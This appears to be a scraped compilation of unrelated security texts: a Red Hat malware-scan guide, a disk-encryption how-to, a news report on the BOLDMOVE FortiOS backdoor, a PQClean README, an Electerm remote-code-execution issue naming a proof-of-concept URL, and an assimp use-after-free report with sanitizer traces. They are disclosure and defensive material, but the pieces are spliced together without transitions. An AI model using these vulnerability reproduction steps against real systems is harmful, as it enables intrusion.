Scan time for /root: 0 seconds
Scanning files in /run ...
Scan time for /run: 0 seconds
Scanning files in /srv ...
Scan time for /srv: 0 seconds
Scanning specified files in /tmp ...
Scan time for /tmp: 0 seconds
Scanning files in /usr ...
Scan time for /usr: 65 seconds
Scanning specified files in /var ...
Scan time for /var: 4 seconds
Filesystem scan time: 00:01:11
No rule matches found.
Uploading Insights data.
Successfully uploaded report for rhel8-yara-testing.rhbrlabs.com.

**Logs**

Check the Insights and malware detection logs at: **/var/log/insights-client/insights-client.log**

_Insights and malware detection logs_

**View results of malware-detection system scans on the Hybrid Cloud Console**

Prerequisites:

*   You must be logged into the Hybrid Cloud Console (https://console.redhat.com)
*   You are a member of a Hybrid Cloud Console User Access group with the Malware detection administrator or Malware detection viewer role.

NOTE: An Organization Administrator must create malware-detection groups in **Red Hat Hybrid Cloud Console > User Access > Groups** and add the necessary **malware-detection roles and members** (registered users on the account).

Navigate to **Red Hat Enterprise Linux > Malware > Systems**.

In the Insights dashboard in the customer portal, we can see the malware scan results as well as other health and safety recommendations for the environment:

_Malware scan results_

**IMPORTANT**: There is no "default-group" role for malware-detection service users. For users to view data or control settings in the malware-detection service, they must be members of one or more User Access groups with one of the following roles:

*   Malware detection viewer
*   Malware detection administrator

In the malware-detection service UI, User Access-authorized administrators and viewers can:

*   See the list of signatures against which their RHEL systems are scanned
*   See aggregate results for all RHEL systems with malware-detection enabled in the Insights client
*   See results for individual systems
*   Know when a system shows evidence of the presence of malware

These features give security threat assessors and IT incident-response teams valuable information to help prepare a response.

**Useful links**

*   Red Hat Insights
*   Product Documentation for Red Hat Insights 2022
*   Get started using the Insights for RHEL malware-detection service

How to use Red Hat Insights malware detection service

Encrypting files, folders, and drives on your computer means that no one else can make sense of the data they contain without a particular decryption key—which in most cases is a password known only to you. 

So while someone could get at your files if they know your password (the decryption key), they won't be able to take out a drive from your system and access what's on it, or use a second computer to read your data—it'll all be gibberish. It means that if your Windows or macOS machine gets lost or stolen, you don't have to worry about someone using the data on it.

How the most popular operating systems have handled encryption has changed over the years, and there are third-party tools that give you more encryption options to choose from. We'll guide you through everything you need to know about these options to help you pick the right one.

Built-in Options for Windows

Device encryption is available in the Home versions of Windows.

Windows via David Nield

Encryption on Windows is a little more complicated than perhaps it should be. First of all, there are differences between the Windows Home and Windows Pro editions: Pro users get a powerful tool called BitLocker for encryption, but with the Home edition, there's a more basic alternative. It's simply referred to as device encryption, and you can find it by choosing **Privacy & security** and then **Device encryption** from the Settings panel in Windows.

Not so fast though, as this option won't appear for everyone: It requires a certain level of hardware security support from your desktop or laptop computer. It's all rather complex, and we don't have room to go into everything in detail here, but The Windows Club has an excellent explainer. If you search the Start menu for a tool called "system information," then right-click and run it as an administrator, you can see why your computer does or doesn't support this feature via the Device Encryption Support entry.

Assuming your hardware does meet all of the requirements, and the **Device encryption** entry is visible, you can click through it to see if your system drives are encrypted—they should be, by default, if you log in to your computer with a Microsoft account. It means that anyone who accesses your hard drives without that authorization won't be able to see the data on them, because it'll be encrypted and protected. If encryption isn't enabled for whatever reason, you can turn the toggle switch to **On**.

When it comes to external drives and USB sticks, if you have the Pro version of Windows you can use BitLocker: Just right-click on the drive in File Explorer, pick **Show more options** and **Turn on BitLocker**, and set a password. For those on the Home edition though, this option isn't available—you're going to have to use a third-party tool for the job of encrypting external drives, and we'll get on to those later on in this article.

Built-in Options for macOS

Use FileVault for maximum protection on a Mac.

Apple via David Nield

Encryption on macOS isn't quite as confusing as it is on Windows, but it still needs some explaining. If you have a Mac with a T2 security chip or Apple silicon inside (so one from late 2017 or later), then the contents of your system disk are encrypted by default. Your account password is required to get into the computer and at all of the data secured on the drive.

However, without getting into too much technical detail (which you can access here if you want to dive deeper), you can add an extra layer of encryption protection by enabling a tool called FileVault. Enabling FileVault means the information required to decrypt your Mac drive is harder to get at—if, for example, someone steals your computer and connects a second computer to it. Traditionally, this could impact speed and performance, but in recent years that's become less and less of a problem and is practically unnoticeable on the newest Macs.

You'll be asked to enable FileVault when you first set up macOS on a new machine, and it's something we'd recommend. You can also turn FileVault on (or off) whenever you like by opening the **Apple** menu and choosing **System Settings** then **Privacy & Security**. There's a FileVault option there, together with some details about what it does. You'll also need to specify your preferred way of unlocking the system disk if you ever forget your password, either through iCloud or through a dedicated recovery key.

You can encrypt external drives with a password from Finder: Just right-click on them and choose **Encrypt**. If the encryption option doesn't appear, the drive needs to be wiped and reformatted to be compatible—open the Disk Utility tool in macOS, click **View** and **Show All Devices**, then select the relevant external drive and click **Erase**. Give the drive a name, choose an encrypted option under **Format** (the options are explained here) and choose **GUID Partition Map** under **Scheme**. Pick your password, then click **Erase**, and the drive is ready to go.

Third-party Options for Windows and macOS

VeraCrypt makes it simple to encrypt an external drive.

VeraCrypt via David Nield

There are a variety of free and paid third-party encryption tools available if the options built into Windows and macOS don't suit your needs, including Cryptomator, NordLocker, and AxCrypt. However, we recommend one in particular, VeraCrypt: It's available for Windows and macOS (and indeed Linux,) it's not difficult to use, and it's free.

We also recommend reading through the online documentation that accompanies the program, but getting started is quite straightforward. Say you're encrypting an external drive, for example: With the drive plugged in and formatted, open VeraCrypt and choose **Create Volume**. Next, select **Encrypt a non-system partition/drive** and select **Next**. Select the drive you want to encrypt and follow the instructions on the screen.

During the configuration process, you'll be asked whether you want to encrypt the existing data already on the drive, or format it ready for files to be added—if you already have files on the drive that you don't want to be wiped, make sure you pick the former option. You'll also be asked to specify a password to lock the drive, which you should make sure you won't forget (you won't be able to access the drive without it).

VeraCrypt also lets you create containers, or sections of a drive that are encrypted. If you need to lock up specific files and folders without encrypting an entire disk for whatever reason, then this is one of the ways of going about it. From the main VeraCrypt screen, click **Create Volume**, then **Create an encrypted file container**. You'll be asked to specify a file on disk that then acts as the encrypted container for other files and folders.

How to Encrypt any File, Folder, or Drive on Your System

By Deeba Ahmed
Chinese hackers are exploiting a previously patched vulnerability found in Fortinet FortiOS SSL-VPN by using new malware called BOLDMOVE.
This is a post from HackRead.com Read the original post: Backdoor into FortiOS: Chinese Threat Actors Utilize 0-Day

The attackers are targeting FortiOS customers, including an Africa-based MSP (managed service provider) and a European government entity.

Fortinet is an international provider of network security solutions that protect organizations from cyber threats. Lately, Fortinet’s products are quite popular among cybercriminals worldwide due to security vulnerabilities.

According to the latest report from cybersecurity firm Mandiant, a Chinese threat actor is using malware and exploiting a previously patched vulnerability found in Fortinet FortiOS SSL-VPN as a zero-day. The attacker is targeting an Africa-based MSP (managed service provider) and a European government entity.

**Findings Details**

**Google-owned Mandiant** discovered the malware in December 2022 which it dubbed BOLDMOVE. Further probe revealed that the threat actor exploited the vulnerability tracked as **CVE-2022-42475**.

Telemetry data suggested that the malicious activity started in October 2022, around two months before Fortinet released fixes. This bug allowed an unauthenticated attacker to execute arbitrary code on the compromised system and present it in different versions of the **FortiOS and FortiProxy** technologies.

Researchers were sure about the involvement of a China-based threat actor because the exploit activity showcased the Chinese pattern of exploiting internet-exposed devices, mainly those used for managed security purposes like IDS appliances and firewalls.

Furthermore, the backdoor was specifically designed to run on **Fortinet FortiGate firewalls**. The activity aims to conduct cyber-espionage operations against government entities or those associated with them.

**About the Malware**

As per Ben Read, Mandiant’s cyber-espionage analysis director, BOLDMOVE was discovered in December in a public repository and linked to the bug found earlier in FortiOS SSL-VPN because the company had released it in its initial vulnerability disclosure.

The backdoor is written in C and has two versions, one for Windows and the other a Linux version, which the adversary has probably customized for FortiOS. When the Linux version is executed, it tries to connect to a hardcoded C2 server.

If the attack is successful, BOLDMOVE collects information about the system it landed on and conveys it to the C2 server. Then the instructions are relayed to the malware, after which the adversary gains complete remote control of the impacted FortiOS device.

Read noted that some of the malware’s core functions, like the capability of downloading additional files or opening a reverse shell, are pretty typical. However, the customized Linux version is more dangerous as it can manipulate some features specific to the FortiOS.

“With BOLDMOVE, the attackers not only developed an exploit, but malware that shows an in-depth understanding of systems, services, logging, and undocumented proprietary formats,” Mandiant’s **report** read.

1.  Chinese Hackers Hiding Malware in Windows Logo
2.  Hackers exploiting critical vulnerabilities in Fortinet VPN
3.  FBI issues flash alert after APT groups exploited VPN flaws
4.  Hackers dump login data of Fortinet VPN users in plain-text
5.  Windows, Linux & macOS Users Targeted by Chinese Group

Backdoor into FortiOS: Chinese Threat Actors Utilize 0-Day

CRYSTALS-DILITHIUM (in Post-Quantum Cryptography Selected Algorithms 2022) in PQClean d03da30 may allow universal forgeries of digital signatures via a template side-channel attack because of intermediate data leakage of one vector.

**PQClean**

_See the build status for each component here_

**PQClean**, in short, is an effort to collect **clean** implementations of the post-quantum schemes that are in the NIST post-quantum project. The goal of PQClean is to provide _standalone implementations_ that

* can easily be integrated into libraries such as liboqs.
* can efficiently upstream into higher-level protocol integration efforts such as Open Quantum Safe;
* can easily be integrated into benchmarking frameworks such as SUPERCOP;
* can easily be integrated into frameworks targeting embedded platforms such as pqm4;
* are suitable starting points for architecture-specific optimized implementations;
* are suitable starting points for evaluation of implementation security; and
* are suitable targets for formal verification.

What PQClean is **not** aiming for is

* a build system producing an integrated library of all schemes;
* including benchmarking of implementations; and
* including integration into higher-level applications or protocols.

As a first main target, we are collecting C implementations that fulfill the requirements listed below. We also accept optimised implementations, but still requiring high-quality, tested code.

Please also review our guidelines for contributors if you are interested in adding a scheme to PQClean.

**Requirements on C implementations that are automatically checked**

_The checking of items on this list is still being developed. Checked items should be working._

* Code is valid C99
* Passes functional tests
* API functions do not write outside provided buffers
* api.h cannot include external files
* Compiles with -Wall -Wextra -Wpedantic -Werror -Wmissing-prototypes with gcc and clang
* #if/#ifdefs only for header encapsulation
* Consistent test vectors across runs
* Consistent test vectors on big-endian and little-endian machines
* Consistent test vectors on 32-bit and 64-bit machines
* const arguments are labeled as const
* No errors/warnings reported by valgrind
* No errors/warnings reported by address sanitizer
* Only dependencies: fips202.c, sha2.c, aes.c, randombytes.c
* API functions return 0 on success
* No dynamic memory allocations (including variable-length arrays)
* No branching on secret data (dynamically checked using valgrind)
* No access to secret memory locations (dynamically checked using valgrind)
* Separate subdirectories (without symlinks) for each parameter set of each scheme
* Builds under Linux, MacOS, and Windows
 * Linux
 * MacOS
 * Windows
* Makefile-based build for each separate scheme
* Makefile-based build for Windows (nmake)
* All exported symbols are namespaced with PQCLEAN_SCHEMENAME_
* Each implementation comes with a LICENSE file (see below)
* Each scheme comes with a META.yml file giving details about version of the algorithm, designers
 * Each individual implementation is specified in META.yml.

**Requirements on C implementations that are manually checked**

* Minimalist Makefiles
* No stringification macros
* Output-parameter pointers in functions are on the left
* All exported symbols are namespaced in place
* Integer types are of fixed size where relevant, using stdint.h types (optional, recommended)
* Integers used for indexing memory are of size size_t (optional, recommended)
* Variable declarations at the beginning (except in for (size_t i=...) (optional, recommended)

**Schemes currently in PQClean**

For the following schemes we have implementations of one or more of their parameter sets. For all of these schemes we have clean C code, but for some we also have optimised code.

**Key Encapsulation Mechanisms**

**Finalists:**

* Kyber

**Alternate candidates:**

* HQC
* Classic McEliece

**Signature schemes**

**To-be standards:**

* Dilithium
* Falcon
* SPHINCS+

**Alternate candidates:**

* No participants yet.

Implementations previously available in PQClean and dropped in Round 3 of the NIST standardization effort are available in the round2 tag.

Implementations previously available in PQClean and dropped in Round 4 of the NIST standardization effort are available in the round3 tag.

**API used by PQClean**

PQClean is essentially using the same API as required for the NIST reference implementations, which is also used by SUPERCOP and by libpqcrypto. The only differences to that API are the following:

* All functions are namespaced;
* All lengths are passed as type size_t instead of unsigned long long; and
* Signatures offer two additional functions that follow the "traditional" approach used in most software stacks of computing and verifying signatures instead of producing and recovering signed messages. Specifically, those functions have the following name and signature:

int PQCLEAN\_SCHEME\_IMPL\_crypto\_sign\_signature(
 uint8\_t \*sig, size\_t \*siglen,
 const uint8\_t \*m, size\_t mlen,
 const uint8\_t \*sk);
int PQCLEAN\_SCHEME\_IMPL\_crypto\_sign\_verify(
 const uint8\_t \*sig, size\_t siglen,
 const uint8\_t \*m, size\_t mlen,
 const uint8\_t \*pk);

**Building PQClean**

As noted above, PQClean is **not** meant to be built as a single library: it is a collection of source code that can be easily integrated into other libraries. The PQClean repository includes various test programs which do build various files, but you should not use the resulting binaries.

List of required dependencies: gcc or clang, make, python3, python-yaml library, valgrind, astyle (>= 3.0).

**Using source code from PQClean in your own project**

Each implementation directory in PQClean (e.g., crypto\_kem/kyber768\\clean) can be extracted for use in your own project. You will need to:

1. Copy the source code from the implementation's directory into your project.
2. Add the files to your project's build system.
3. Provide instantiations of any of the common cryptographic algorithms used by the implementation. This likely includes common/randombytes.h (a cryptographic random number generator), and possibly common/sha2.h (the SHA-2 hash function family), common/aes.h (AES implementations), common/fips202.h (the SHA-3 hash function family) and common/sp800-185.h (the cSHAKE family).

Regarding #2, adding the files to your project's build system, each implementation in PQClean is accompanied by example two makefiles that show how one could build the files for that implementation:

* The file Makefile which can be used with GNU Make, BSD Make, and possibly others.
* The file Makefile.Microsoft_nmake which can be used with Visual Studio's nmake.

**Projects integrating PQClean-distributed source code**

The following projects consume implementations from PQClean and provide their own wrappers around the implementations. Their integration strategies may serve as examples for your own projects.

* **pqcrypto crate**: Rust integration that automatically generates wrappers from PQClean source code.
* **mupq**: Runs the implementations from PQClean as reference implementations to compare with microcontroller-optimized code.
* **Open Quantum Safe**: The Open Quantum Safe project integrates implementations from PQClean into their liboqs C library, which then exposes them via C++, C# / .NET, and Python wrappers, as well as to forks of OpenSSL and OpenSSH.

**License**

Each subdirectory containing implementations contains a LICENSE file stating under what license that specific implementation is released. The files in common contain licensing information at the top of the file (and are currently either public domain or MIT). All other code in this repository is released under the conditions of CC0.

**Running tests locally**

See https://github.com/PQClean/PQClean/wiki/Test-framework for details about the PQClean test framework.

While we run extensive automatic testing on Github Actions ((emulated) Linux builds, MacOS and Windows builds) and Travis CI (Aarch64 builds), and most tests can also be run locally. To do this, make sure the following is installed:

* Python 3.6+
* pytest for python 3.

We also recommend installing pytest-xdist to allow running tests in parallel.

You will also need to make sure the submodules are initialized by running:

 git submodule update --init
 

Run the Python-based tests by going into the test directory and running pytest -v or (recommended) pytest -n=auto for parallel testing.

You may also run python3 <testmodule> where <testmodule> is any of the files starting with test_ in the test/ folder.

CVE-2023-24025: GitHub - PQClean/PQClean at d03da3053491e767ef842deaef43fc5bdb6bc911

An issue was discovered in Electerm 1.3.22, allows attackers to execute arbitrary code via unverified request to electerms service.

**Electerm version:**

All versions

**Operating system(linux, macos, or windows7/8/10?):**

All operating system(macos,windows7/8/10,linux)

**Detailed Description**

Electerm did not conduct permission checks, which led to remote command execution vulnerabilities.  
After testing, it affected Electerm on all operating systems.

**Steps to Reproduce**

1.Open Electerm and keep it running.  
2.Use a browser such as Chrome / Firefox / Safari to visit the malicious site I constructed: http://orz.weinull.com/orz-001.html  
3.Malicious site executes command to open calculator.

**Suggestions**

Generate a random token for service invocation at startup, and at the same time, ensure that the token has enough complexity to be guessed

**Electerm is a very good tool, hope to develop better**

CVE-2020-23256: Electron has serious security vulnerability · Issue #1686 · electerm/electerm

An issue was discovered with assimp 5.1.4, a use after free occurred in function ColladaParser::ExtractDataObjectFromChannel in file /code/AssetLib/Collada/ColladaParser.cpp.

**Environment**

Ubuntu 18.04，64 bit

**Command**

**Compile test program:**

$ cmake CMakeLists.txt
$ cmake --build .

**Compile test program with address sanitizer:**

* Update Makefile:

SET (CMAKE\_C\_FLAGS "${CMAKE\_C\_FLAGS} -fsanitize=address -fno-omit-frame-pointer")
SET (CMAKE\_CXX\_FLAGS "${CMAKE\_CXX\_FLAGS} -fsanitize=address -fno-omit-frame-pointer ")
SET (CMAKE\_LINKER\_FLAGS "${CMAKE\_LINKER\_FLAGS} -fsanitize=address -lasan -lstdc++ ")
SET (CMAKE\_EXE\_LINKER\_FLAGS "${CMAKE\_EXE\_LINKER\_FLAGS} -fsanitize=address -lasan -lstdc++ ")

* Compile program:

$ mkdir asan\_assimp
$ cd asan\_assimp
$ export CC=/usr/bin/gcc
$ export CXX=/usr/bin/g++
$ cmake CMakeLists.txt
$ cmake --build .

**Result**

The result of running without ASAN:

$ ./assimp info Assimp\\:\\:ColladaParser\\:\\:ExtractDataObjectFromChannel\_heap-use-after-free 

Launching asset import ... OK
Validating postprocessing flags ... OK
Segmentation fault (core dumped)

Information obtained by using ASAN:

$ ./Asanassimp info Assimp\\:\\:ColladaParser\\:\\:ExtractDataObjectFromChannel\_heap-use-after-free 

Launching asset import ... OK
Validating postprocessing flags ... OK
=================================================================
==19874==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000000230 at pc 0x7ffff5ec697a bp 0x7fffffffaa40 sp 0x7fffffffaa30
READ of size 4 at 0x602000000230 thread T0
 #0 0x7ffff5ec6979 in Assimp::ColladaParser::ExtractDataObjectFromChannel(Assimp::Collada::InputChannel const&, unsigned long, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x961979)
 #1 0x7ffff5ec611b in Assimp::ColladaParser::CopyVertex(unsigned long, unsigned long, unsigned long, unsigned long, Assimp::Collada::Mesh&, std::vector<Assimp::Collada::InputChannel, std::allocator<Assimp::Collada::InputChannel> >&, unsigned long, std::vector<unsigned long, std::allocator<unsigned long> > const&) (/root/asan\_assimp/bin/libassimp.so.5+0x96111b)
 #2 0x7ffff5ec5a35 in Assimp::ColladaParser::ReadPrimitives(pugi::xml\_node&, Assimp::Collada::Mesh&, std::vector<Assimp::Collada::InputChannel, std::allocator<Assimp::Collada::InputChannel> >&, unsigned long, std::vector<unsigned long, std::allocator<unsigned long> > const&, Assimp::Collada::PrimitiveType) (/root/asan\_assimp/bin/libassimp.so.5+0x960a35)
 #3 0x7ffff5ec3949 in Assimp::ColladaParser::ReadIndexData(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95e949)
 #4 0x7ffff5ec0831 in Assimp::ColladaParser::ReadMesh(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b831)
 #5 0x7ffff5ec03d3 in Assimp::ColladaParser::ReadGeometry(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b3d3)
 #6 0x7ffff5ebfd2e in Assimp::ColladaParser::ReadGeometryLibrary(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95ad2e)
 #7 0x7ffff5eb00a0 in Assimp::ColladaParser::ReadStructure(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94b0a0)
 #8 0x7ffff5eafae1 in Assimp::ColladaParser::ReadContents(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94aae1)
 #9 0x7ffff5eadb28 in Assimp::ColladaParser::ColladaParser(Assimp::IOSystem\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/asan\_assimp/bin/libassimp.so.5+0x948b28)
 #10 0x7ffff5e4f81d in Assimp::ColladaLoader::InternReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, aiScene\*, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x8ea81d)
 #11 0x7ffff5aeeb1f in Assimp::BaseImporter::ReadFile(Assimp::Importer\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x589b1f)
 #12 0x7ffff5b280f8 in Assimp::Importer::ReadFile(char const\*, unsigned int) (/root/asan\_assimp/bin/libassimp.so.5+0x5c30f8)
 #13 0x555555596937 in Assimp::Importer::ReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, unsigned int) (/root/assimp-master/bin/Asanassimp+0x42937)
 #14 0x55555559409e in ImportModel(ImportData const&, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/assimp-master/bin/Asanassimp+0x4009e)
 #15 0x55555559f0a7 in Assimp\_Info(char const\* const\*, unsigned int) (/root/assimp-master/bin/Asanassimp+0x4b0a7)
 #16 0x555555593d30 in main (/root/assimp-master/bin/Asanassimp+0x3fd30)
 #17 0x7ffff50140b2 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x270b2)
 #18 0x55555556c35d in \_start (/root/assimp-master/bin/Asanassimp+0x1835d)

0x602000000230 is located 0 bytes inside of 8-byte region \[0x602000000230,0x602000000238)
freed by thread T0 here:
 #0 0x7ffff769e0c7 in operator delete(void\*) ../../../../src/libsanitizer/asan/asan\_new\_delete.cpp:160
 #1 0x7ffff5f12e93 in \_\_gnu\_cxx::new\_allocator<pugi::xml\_node>::deallocate(pugi::xml\_node\*, unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x9ade93)
 #2 0x7ffff5ef8f21 in std::allocator\_traits<std::allocator<pugi::xml\_node> >::deallocate(std::allocator<pugi::xml\_node>&, pugi::xml\_node\*, unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x993f21)
 #3 0x7ffff5ee4c6f in std::\_Vector\_base<pugi::xml\_node, std::allocator<pugi::xml\_node> >::\_M\_deallocate(pugi::xml\_node\*, unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x97fc6f)
 #4 0x7ffff5ee5369 in void std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> >::\_M\_realloc\_insert<pugi::xml\_node const&>(\_\_gnu\_cxx::\_\_normal\_iterator<pugi::xml\_node\*, std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> > >, pugi::xml\_node const&) (/root/asan\_assimp/bin/libassimp.so.5+0x980369)
 #5 0x7ffff5ed6e2e in std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> >::push\_back(pugi::xml\_node const&) (/root/asan\_assimp/bin/libassimp.so.5+0x971e2e)
 #6 0x7ffff5ed0ec0 in Assimp::XmlNodeIterator::collectChildrenPreOrder(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x96bec0)
 #7 0x7ffff5ed1054 in Assimp::XmlNodeIterator::collectChildrenPreOrder(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x96c054)
 #8 0x7ffff5ed0d12 in Assimp::XmlNodeIterator::XmlNodeIterator(pugi::xml\_node&, Assimp::XmlNodeIterator::IterationMode) (/root/asan\_assimp/bin/libassimp.so.5+0x96bd12)
 #9 0x7ffff5ec0af6 in Assimp::ColladaParser::ReadSource(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95baf6)
 #10 0x7ffff5ec06ff in Assimp::ColladaParser::ReadMesh(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b6ff)
 #11 0x7ffff5ec03d3 in Assimp::ColladaParser::ReadGeometry(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b3d3)
 #12 0x7ffff5ebfd2e in Assimp::ColladaParser::ReadGeometryLibrary(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95ad2e)
 #13 0x7ffff5eb00a0 in Assimp::ColladaParser::ReadStructure(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94b0a0)
 #14 0x7ffff5eafae1 in Assimp::ColladaParser::ReadContents(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94aae1)
 #15 0x7ffff5eadb28 in Assimp::ColladaParser::ColladaParser(Assimp::IOSystem\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/asan\_assimp/bin/libassimp.so.5+0x948b28)
 #16 0x7ffff5e4f81d in Assimp::ColladaLoader::InternReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, aiScene\*, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x8ea81d)
 #17 0x7ffff5aeeb1f in Assimp::BaseImporter::ReadFile(Assimp::Importer\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x589b1f)
 #18 0x7ffff5b280f8 in Assimp::Importer::ReadFile(char const\*, unsigned int) (/root/asan\_assimp/bin/libassimp.so.5+0x5c30f8)
 #19 0x555555596937 in Assimp::Importer::ReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, unsigned int) (/root/assimp-master/bin/Asanassimp+0x42937)
 #20 0x55555559409e in ImportModel(ImportData const&, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/assimp-master/bin/Asanassimp+0x4009e)
 #21 0x55555559f0a7 in Assimp\_Info(char const\* const\*, unsigned int) (/root/assimp-master/bin/Asanassimp+0x4b0a7)
 #22 0x555555593d30 in main (/root/assimp-master/bin/Asanassimp+0x3fd30)
 #23 0x7ffff50140b2 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x270b2)

previously allocated by thread T0 here:
 #0 0x7ffff769d5a7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan\_new\_delete.cpp:99
 #1 0x7ffff5f24b56 in \_\_gnu\_cxx::new\_allocator<pugi::xml\_node>::allocate(unsigned long, void const\*) (/root/asan\_assimp/bin/libassimp.so.5+0x9bfb56)
 #2 0x7ffff5f12efb in std::allocator\_traits<std::allocator<pugi::xml\_node> >::allocate(std::allocator<pugi::xml\_node>&, unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x9adefb)
 #3 0x7ffff5ef9487 in std::\_Vector\_base<pugi::xml\_node, std::allocator<pugi::xml\_node> >::\_M\_allocate(unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x994487)
 #4 0x7ffff5ee50d4 in void std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> >::\_M\_realloc\_insert<pugi::xml\_node const&>(\_\_gnu\_cxx::\_\_normal\_iterator<pugi::xml\_node\*, std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> > >, pugi::xml\_node const&) (/root/asan\_assimp/bin/libassimp.so.5+0x9800d4)
 #5 0x7ffff5ed6e2e in std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> >::push\_back(pugi::xml\_node const&) (/root/asan\_assimp/bin/libassimp.so.5+0x971e2e)
 #6 0x7ffff5ed0ec0 in Assimp::XmlNodeIterator::collectChildrenPreOrder(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x96bec0)
 #7 0x7ffff5ed1054 in Assimp::XmlNodeIterator::collectChildrenPreOrder(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x96c054)
 #8 0x7ffff5ed0d12 in Assimp::XmlNodeIterator::XmlNodeIterator(pugi::xml\_node&, Assimp::XmlNodeIterator::IterationMode) (/root/asan\_assimp/bin/libassimp.so.5+0x96bd12)
 #9 0x7ffff5ec0af6 in Assimp::ColladaParser::ReadSource(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95baf6)
 #10 0x7ffff5ec06ff in Assimp::ColladaParser::ReadMesh(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b6ff)
 #11 0x7ffff5ec03d3 in Assimp::ColladaParser::ReadGeometry(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b3d3)
 #12 0x7ffff5ebfd2e in Assimp::ColladaParser::ReadGeometryLibrary(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95ad2e)
 #13 0x7ffff5eb00a0 in Assimp::ColladaParser::ReadStructure(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94b0a0)
 #14 0x7ffff5eafae1 in Assimp::ColladaParser::ReadContents(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94aae1)
 #15 0x7ffff5eadb28 in Assimp::ColladaParser::ColladaParser(Assimp::IOSystem\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/asan\_assimp/bin/libassimp.so.5+0x948b28)
 #16 0x7ffff5e4f81d in Assimp::ColladaLoader::InternReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, aiScene\*, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x8ea81d)
 #17 0x7ffff5aeeb1f in Assimp::BaseImporter::ReadFile(Assimp::Importer\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x589b1f)
 #18 0x7ffff5b280f8 in Assimp::Importer::ReadFile(char const\*, unsigned int) (/root/asan\_assimp/bin/libassimp.so.5+0x5c30f8)
 #19 0x555555596937 in Assimp::Importer::ReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, unsigned int) (/root/assimp-master/bin/Asanassimp+0x42937)
 #20 0x55555559409e in ImportModel(ImportData const&, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/assimp-master/bin/Asanassimp+0x4009e)
 #21 0x55555559f0a7 in Assimp\_Info(char const\* const\*, unsigned int) (/root/assimp-master/bin/Asanassimp+0x4b0a7)
 #22 0x555555593d30 in main (/root/assimp-master/bin/Asanassimp+0x3fd30)
 #23 0x7ffff50140b2 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x270b2)

